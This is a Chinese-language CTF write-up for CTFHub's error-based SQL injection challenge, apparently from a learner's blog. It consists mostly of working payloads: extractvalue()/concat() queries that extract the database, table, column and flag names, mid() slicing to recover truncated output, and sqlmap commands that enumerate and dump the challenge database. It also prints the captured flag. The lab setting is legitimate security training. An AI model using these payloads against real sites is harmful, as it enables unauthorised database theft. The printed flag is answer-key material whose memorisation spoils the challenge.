CTFHub笔记之技能树-web：报错注入

小白一个，如有错误请指正！

对这方面不是很熟悉，补了一下知识点：

https://blog.csdn.net/silence1_/article/details/90812612https://blog.csdn.net/silence1_/article/details/90812612

解法一：

1.用extractvalue()函数爆数据库

select * from news where id=1 and (select extractvalue(1,concat(0x7e,(select database()))))

2.爆表名

select * from news where id=1 and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))

 

 

3.爆flag表字段 

select * from news where id=1 and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="flag"))))

4.查看字段内容

select * from news where id=1 and(select extractvalue(1,concat(0x7e,(select group_concat(flag) from flag))))

 5.flag太长显示不全 我裂开 再去补充了些知识点

报错注入显示不全问题_矜装寂寥的博客-CSDN博客目录介绍实验环境解决方法0x010x02 方法一（利用limit子句）0x02 方法二（使用mid函数）0x03 方法三（sqlmap O(∩_∩)O）介绍在sql主任中使用 updatexml extractvalue exp floor函数进行报错注入时，有时会出现由于数据的数量过多导致无法一次性显示所有内容，所以鄙人就去寻找了几种解决方法实验环境本次实验使用的是github上开源的sqli-labs训练靶场地址：https://github.com/Audi-1/sqli-labs解决https://blog.csdn.net/m0_51183537/article/details/122012622 6.这里我用mid函数

select * from news where id=1 and(select extractvalue(1,concat(0x7e,mid((select group_concat(flag) from flag),1,20))))

select * from news where id=1 and(select extractvalue(1,concat(0x7e,mid((select group_concat(flag) from flag),21))))

 

7.把字符合并就是flag了

ctfhub{c31412455c660d3281bcaec2} 

解法二：  sqlmap

1.

sqlmap -u http://challenge-1d76fb8538f7a5c0.sandbox.ctfhub.com:10800/?id=1 --dbs

2.

sqlmap -u http://challenge-1d76fb8538f7a5c0.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
 

3.

sqlmap -u http://challenge-1d76fb8538f7a5c0.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

4.

sqlmap -u http://challenge-1d76fb8538f7a5c0.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C --dump
 

 时间不够 重启了环境 flag有些变化